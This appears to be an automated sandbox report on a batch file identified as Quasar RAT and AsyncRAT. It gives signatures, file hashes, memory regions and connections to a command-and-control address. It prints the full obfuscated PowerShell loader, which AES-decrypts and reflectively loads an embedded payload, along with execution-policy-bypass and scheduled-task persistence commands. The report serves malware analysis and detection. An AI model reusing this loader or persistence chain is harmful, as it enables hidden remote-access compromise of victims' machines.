Analysis Overview
SHA256
d329a265d4005b2cb8902d6148ff5e4477f2203bc2e476e51e5895f9be99c53e
Threat Level: Known bad
The file sky.bat was found to be: Known bad.
Malicious Activity Summary
Quasar RAT
AsyncRat
Quasar payload
Async RAT payload
Executes dropped EXE
Checks computer location settings
Loads dropped DLL
Reads user/profile data of web browsers
Looks up external IP address via web service
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Creates scheduled task(s)
Suspicious use of SetWindowsHookEx
Suspicious use of SendNotifyMessage
Suspicious behavior: EnumeratesProcesses
Suspicious use of FindShellTrayWindow
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2023-01-12 16:32
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-01-12 16:32
Reported
2023-01-12 16:35
Platform
win7-20220812-en
Max time kernel
43s
Max time network
46s
Command Line
Signatures
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\sky.bat.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\cmd.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\sky.bat.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\sky.bat.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1176 wrote to memory of 884 | N/A | C:\Windows\system32\cmd.exe | C:\Users\Admin\AppData\Local\Temp\sky.bat.exe |
| PID 1176 wrote to memory of 884 | N/A | C:\Windows\system32\cmd.exe | C:\Users\Admin\AppData\Local\Temp\sky.bat.exe |
| PID 1176 wrote to memory of 884 | N/A | C:\Windows\system32\cmd.exe | C:\Users\Admin\AppData\Local\Temp\sky.bat.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\sky.bat"
C:\Users\Admin\AppData\Local\Temp\sky.bat.exe
"sky.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\sky.bat').Split([Environment]::NewLine);foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) { $VuGcO = $YiLGW.Substring(3); break; }; };$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);$BacUA = New-Object System.Security.Cryptography.AesManaged;$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CeRsc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');$Nlgap = $BacUA.CreateDecryptor();$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);$Nlgap.Dispose();$BacUA.Dispose();$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);$bTMLk = New-Object System.IO.MemoryStream;$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);$NVPbn.CopyTo($bTMLk);$NVPbn.Dispose();$mNKMr.Dispose();$bTMLk.Dispose();$uZOcm = $bTMLk.ToArray();$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);$PtfdQ = $gDBNO.EntryPoint;$PtfdQ.Invoke($null, (, [string[]] ('')))
Network
Files
memory/884-55-0x0000000000000000-mapping.dmp
\Users\Admin\AppData\Local\Temp\sky.bat.exe
| MD5 | 852d67a27e454bd389fa7f02a8cbe23f |
| SHA1 | 5330fedad485e0e4c23b2abe1075a1f984fde9fc |
| SHA256 | a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8 |
| SHA512 | 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d |
C:\Users\Admin\AppData\Local\Temp\sky.bat.exe
| MD5 | 852d67a27e454bd389fa7f02a8cbe23f |
| SHA1 | 5330fedad485e0e4c23b2abe1075a1f984fde9fc |
| SHA256 | a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8 |
| SHA512 | 327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d |
memory/884-57-0x000007FEFBB41000-0x000007FEFBB43000-memory.dmp
memory/884-58-0x000007FEF3BF0000-0x000007FEF4613000-memory.dmp
memory/884-60-0x00000000025E4000-0x00000000025E7000-memory.dmp
memory/884-59-0x000007FEF3090000-0x000007FEF3BED000-memory.dmp
memory/884-61-0x00000000025E4000-0x00000000025E7000-memory.dmp
memory/884-62-0x00000000025EB000-0x000000000260A000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-01-12 16:32
Reported
2023-01-12 16:35
Platform
win10-20220901-en
Max time kernel
149s
Max time network
153s
Command Line
Signatures
AsyncRat
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Async RAT payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\sky.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\mbwito.bat.exe | N/A |
Reads user/profile data of web browsers
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | api.ipify.org | N/A | N/A |
| N/A | api.ipify.org | N/A | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\sky.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\sky.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\sky.bat.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\mbwito.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\mbwito.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\mbwito.bat.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\sky.bat.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\mbwito.bat.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\mbwito.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\mbwito.bat.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\mbwito.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\mbwito.bat.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\mbwito.bat.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\sky.bat"
C:\Users\Admin\AppData\Local\Temp\sky.bat.exe
"sky.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\sky.bat').Split([Environment]::NewLine);foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) { $VuGcO = $YiLGW.Substring(3); break; }; };$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);$BacUA = New-Object System.Security.Cryptography.AesManaged;$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CeRsc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');$Nlgap = $BacUA.CreateDecryptor();$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);$Nlgap.Dispose();$BacUA.Dispose();$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);$bTMLk = New-Object System.IO.MemoryStream;$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);$NVPbn.CopyTo($bTMLk);$NVPbn.Dispose();$mNKMr.Dispose();$bTMLk.Dispose();$uZOcm = $bTMLk.ToArray();$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);$PtfdQ = $gDBNO.EntryPoint;$PtfdQ.Invoke($null, (, [string[]] ('')))
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\mbwito.bat"' & exit
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\mbwito.bat"'
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\mbwito.bat" "
C:\Users\Admin\AppData\Local\Temp\mbwito.bat.exe
"mbwito.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $aObMV = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\mbwito.bat').Split([Environment]::NewLine);foreach ($HMeAa in $aObMV) { if ($HMeAa.StartsWith(':: ')) { $jAtOW = $HMeAa.Substring(3); break; }; };$ZFFIb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jAtOW);$ufQIZ = New-Object System.Security.Cryptography.AesManaged;$ufQIZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$ufQIZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$ufQIZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xOjIEV/9x6H2AllyLs+AVd39m7l0oQelRu64WlIJr2c=');$ufQIZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TIb2elsPL654mr15kjK1tw==');$iHrgg = $ufQIZ.CreateDecryptor();$ZFFIb = $iHrgg.TransformFinalBlock($ZFFIb, 0, $ZFFIb.Length);$iHrgg.Dispose();$ufQIZ.Dispose();$rCpxm = New-Object System.IO.MemoryStream(, $ZFFIb);$ZoKsk = New-Object System.IO.MemoryStream;$EUWbj = New-Object System.IO.Compression.GZipStream($rCpxm, [IO.Compression.CompressionMode]::Decompress);$EUWbj.CopyTo($ZoKsk);$EUWbj.Dispose();$rCpxm.Dispose();$ZoKsk.Dispose();$ZFFIb = $ZoKsk.ToArray();$ARNYR = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($ZFFIb);$BjviT = $ARNYR.EntryPoint;$BjviT.Invoke($null, (, [string[]] ('')))
C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\mbwito.bat.exe" /rl HIGHEST /f
Network
| Country | Destination | Domain | Proto |
| N/A | 154.12.250.38:6606 | tcp | |
| N/A | 154.12.250.38:6606 | tcp | |
| N/A | 20.189.173.4:443 | tcp | |
| N/A | 154.12.250.38:6606 | tcp | |
| N/A | 154.12.250.38:4782 | tcp | |
| N/A | 8.8.8.8:53 | tools.keycdn.com | udp |
| N/A | 185.172.148.96:443 | tools.keycdn.com | tcp |
| N/A | 8.8.8.8:53 | api.ipify.org | udp |
| N/A | 64.185.227.155:443 | api.ipify.org | tcp |
| N/A | 154.12.250.38:6606 | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\sky.bat.exe
| MD5 | f7722b62b4014e0c50adfa9d60cafa1c |
| SHA1 | f31c17e0453f27be85730e316840f11522ddec3e |
| SHA256 | ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa |
| SHA512 | 7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4 |
memory/4604-120-0x0000000000000000-mapping.dmp
memory/4604-127-0x00000112AD970000-0x00000112AD992000-memory.dmp
memory/4604-132-0x00000112ADB20000-0x00000112ADB96000-memory.dmp
memory/4604-139-0x00000112AD040000-0x00000112AD04E000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\sky.bat.exe
| MD5 | f7722b62b4014e0c50adfa9d60cafa1c |
| SHA1 | f31c17e0453f27be85730e316840f11522ddec3e |
| SHA256 | ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa |
| SHA512 | 7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4 |
memory/4604-141-0x00000112AD050000-0x00000112AD062000-memory.dmp
memory/4604-144-0x00000112ADBA0000-0x00000112ADC1E000-memory.dmp
memory/4604-145-0x00000112ADAE0000-0x00000112ADAFE000-memory.dmp
memory/4604-154-0x00000112ADAC0000-0x00000112ADACA000-memory.dmp
memory/4604-161-0x00000112ADC20000-0x00000112ADC80000-memory.dmp
memory/4604-168-0x00000112AE3B0000-0x00000112AE440000-memory.dmp
memory/4604-171-0x00000112AE440000-0x00000112AE462000-memory.dmp
memory/800-178-0x0000000000000000-mapping.dmp
memory/4904-179-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\mbwito.bat
| MD5 | 2f84982ec56d82645ac61de4fb3e6e50 |
| SHA1 | 92817fc3db66755ad189049f8e4ad3dbbaaa6db1 |
| SHA256 | 56aa2d6eee7f10040da74bb29c3bbe1e555547249ac4fc21e53e7d6182941e9c |
| SHA512 | 2a9802c6eb9eb263b7388e6659cd424592bc151e392330ac9fb3ebf96dc1e4127db124bd412c85480247089e9db972966c735b9e049680d6200b97581135c3cd |
memory/3164-198-0x0000000000000000-mapping.dmp
memory/3964-200-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\mbwito.bat.exe
| MD5 | f7722b62b4014e0c50adfa9d60cafa1c |
| SHA1 | f31c17e0453f27be85730e316840f11522ddec3e |
| SHA256 | ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa |
| SHA512 | 7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 6128469adf6a46e1fde5c24182bcbece |
| SHA1 | b1056fc0c08aa1c70dd2c4b4aaeb6ddd7661d981 |
| SHA256 | d8f5a2e911a00db37c73ad0251651a5a72cdc5455f5ae8ca2ea275d3351fc61c |
| SHA512 | efec3e82e4c59657c2540c6c77ca5e4170fbea30d239df7d15b8f0459aba0b3ce5df3cc25ae321585f5f32e4ecc0a2f2fccbc831521598e892c5bb37ae0e8500 |
memory/3964-218-0x000001A472410000-0x000001A472452000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\mbwito.bat.exe
| MD5 | f7722b62b4014e0c50adfa9d60cafa1c |
| SHA1 | f31c17e0453f27be85730e316840f11522ddec3e |
| SHA256 | ccc8538dd62f20999717e2bbab58a18973b938968d699154df9233698a899efa |
| SHA512 | 7fe6a32f1a69ffdae5edc450a1fcbaed5eac805cb43abd86c5c54de59219f801c71d2a0c816ac182a5bfa568196463a351a86ac8d782423cab1e15648e5af8e4 |
memory/3964-220-0x000001A4726F0000-0x000001A472778000-memory.dmp
memory/4740-222-0x0000000000000000-mapping.dmp
memory/3964-227-0x000001A473090000-0x000001A4730E0000-memory.dmp
memory/3964-228-0x000001A4731A0000-0x000001A473252000-memory.dmp
memory/3964-229-0x000001A473430000-0x000001A4735F2000-memory.dmp
Analysis: behavioral3
Detonation Overview
Submitted
2023-01-12 16:32
Reported
2023-01-12 16:35
Platform
win10v2004-20220812-en
Max time kernel
135s
Max time network
151s
Command Line
Signatures
AsyncRat
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\sky.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2891029575-1462575-1165213807-1000\Control Panel\International\Geo\Nation | C:\Users\Admin\AppData\Local\Temp\sky.bat.exe | N/A |
Reads user/profile data of web browsers
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | api.ipify.org | N/A | N/A |
| N/A | api.ipify.org | N/A | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\sky.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\sky.bat.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\sky.bat.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\sky.bat"
C:\Users\Admin\AppData\Local\Temp\sky.bat.exe
"sky.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $eIfqq = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\sky.bat').Split([Environment]::NewLine);foreach ($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) { $VuGcO = $YiLGW.Substring(3); break; }; };$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);$BacUA = New-Object System.Security.Cryptography.AesManaged;$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CeRsc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');$Nlgap = $BacUA.CreateDecryptor();$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);$Nlgap.Dispose();$BacUA.Dispose();$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);$bTMLk = New-Object System.IO.MemoryStream;$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);$NVPbn.CopyTo($bTMLk);$NVPbn.Dispose();$mNKMr.Dispose();$bTMLk.Dispose();$uZOcm = $bTMLk.ToArray();$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);$PtfdQ = $gDBNO.EntryPoint;$PtfdQ.Invoke($null, (, [string[]] ('')))
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /b powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\suuule.bat"' & exit
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell –ExecutionPolicy Bypass Start-Process -FilePath '"C:\Users\Admin\AppData\Local\Temp\suuule.bat"'
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\suuule.bat" "
C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe
"suuule.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $aObMV = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\suuule.bat').Split([Environment]::NewLine);foreach ($HMeAa in $aObMV) { if ($HMeAa.StartsWith(':: ')) { $jAtOW = $HMeAa.Substring(3); break; }; };$ZFFIb = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jAtOW);$ufQIZ = New-Object System.Security.Cryptography.AesManaged;$ufQIZ.Mode = [System.Security.Cryptography.CipherMode]::CBC;$ufQIZ.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$ufQIZ.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xOjIEV/9x6H2AllyLs+AVd39m7l0oQelRu64WlIJr2c=');$ufQIZ.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TIb2elsPL654mr15kjK1tw==');$iHrgg = $ufQIZ.CreateDecryptor();$ZFFIb = $iHrgg.TransformFinalBlock($ZFFIb, 0, $ZFFIb.Length);$iHrgg.Dispose();$ufQIZ.Dispose();$rCpxm = New-Object System.IO.MemoryStream(, $ZFFIb);$ZoKsk = New-Object System.IO.MemoryStream;$EUWbj = New-Object System.IO.Compression.GZipStream($rCpxm, [IO.Compression.CompressionMode]::Decompress);$EUWbj.CopyTo($ZoKsk);$EUWbj.Dispose();$rCpxm.Dispose();$ZoKsk.Dispose();$ZFFIb = $ZoKsk.ToArray();$ARNYR = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($ZFFIb);$BjviT = $ARNYR.EntryPoint;$BjviT.Invoke($null, (, [string[]] ('')))
C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe" /rl HIGHEST /f
Network
| Country | Destination | Domain | Proto |
| N/A | 154.12.250.38:6606 | tcp | |
| N/A | 154.12.250.38:6606 | tcp | |
| N/A | 52.168.117.170:443 | tcp | |
| N/A | 154.12.250.38:6606 | tcp | |
| N/A | 178.79.208.1:80 | tcp | |
| N/A | 178.79.208.1:80 | tcp | |
| N/A | 178.79.208.1:80 | tcp | |
| N/A | 154.12.250.38:4782 | tcp | |
| N/A | 8.8.8.8:53 | tools.keycdn.com | udp |
| N/A | 185.172.148.96:443 | tools.keycdn.com | tcp |
| N/A | 8.8.8.8:53 | api.ipify.org | udp |
| N/A | 64.185.227.155:443 | api.ipify.org | tcp |
| N/A | 154.12.250.38:6606 | tcp | |
| N/A | 154.12.250.38:6606 | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\sky.bat.exe
| MD5 | 04029e121a0cfa5991749937dd22a1d9 |
| SHA1 | f43d9bb316e30ae1a3494ac5b0624f6bea1bf054 |
| SHA256 | 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f |
| SHA512 | 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b |
memory/3100-132-0x0000000000000000-mapping.dmp
memory/3100-134-0x000001BB55860000-0x000001BB55882000-memory.dmp
memory/3100-135-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\sky.bat.exe
| MD5 | 04029e121a0cfa5991749937dd22a1d9 |
| SHA1 | f43d9bb316e30ae1a3494ac5b0624f6bea1bf054 |
| SHA256 | 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f |
| SHA512 | 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b |
memory/3100-137-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp
memory/3100-138-0x000001BB56100000-0x000001BB56176000-memory.dmp
memory/3100-139-0x000001BB561A0000-0x000001BB561BE000-memory.dmp
memory/460-140-0x0000000000000000-mapping.dmp
memory/5108-141-0x0000000000000000-mapping.dmp
memory/5108-142-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\suuule.bat
| MD5 | 2f84982ec56d82645ac61de4fb3e6e50 |
| SHA1 | 92817fc3db66755ad189049f8e4ad3dbbaaa6db1 |
| SHA256 | 56aa2d6eee7f10040da74bb29c3bbe1e555547249ac4fc21e53e7d6182941e9c |
| SHA512 | 2a9802c6eb9eb263b7388e6659cd424592bc151e392330ac9fb3ebf96dc1e4127db124bd412c85480247089e9db972966c735b9e049680d6200b97581135c3cd |
memory/1924-144-0x0000000000000000-mapping.dmp
memory/5108-145-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp
memory/668-146-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe
| MD5 | 04029e121a0cfa5991749937dd22a1d9 |
| SHA1 | f43d9bb316e30ae1a3494ac5b0624f6bea1bf054 |
| SHA256 | 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f |
| SHA512 | 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | a6c9d692ed2826ecb12c09356e69cc09 |
| SHA1 | def728a6138cf083d8a7c61337f3c9dade41a37f |
| SHA256 | a07d329eb9b4105ba442c89f7cfa0d7b263f9f0617e26df93cf8cdc8dc94d57b |
| SHA512 | 2f27d2b241ce34f988c39e17ca5a1ebe628ac6c1b8ee8df121db9ad8929eaadf5f24ad66457591cccf87e60d2ba2eab88af860ab9c323a5c2a9867045d6e7ba3 |
memory/668-149-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\suuule.bat.exe
| MD5 | 04029e121a0cfa5991749937dd22a1d9 |
| SHA1 | f43d9bb316e30ae1a3494ac5b0624f6bea1bf054 |
| SHA256 | 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f |
| SHA512 | 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b |
memory/400-151-0x0000000000000000-mapping.dmp
memory/668-152-0x00000243BE3F0000-0x00000243BE440000-memory.dmp
memory/668-153-0x00000243BEA00000-0x00000243BEAB2000-memory.dmp
memory/668-154-0x00000243BF070000-0x00000243BF232000-memory.dmp
memory/668-155-0x00007FFFEE480000-0x00007FFFEEF41000-memory.dmp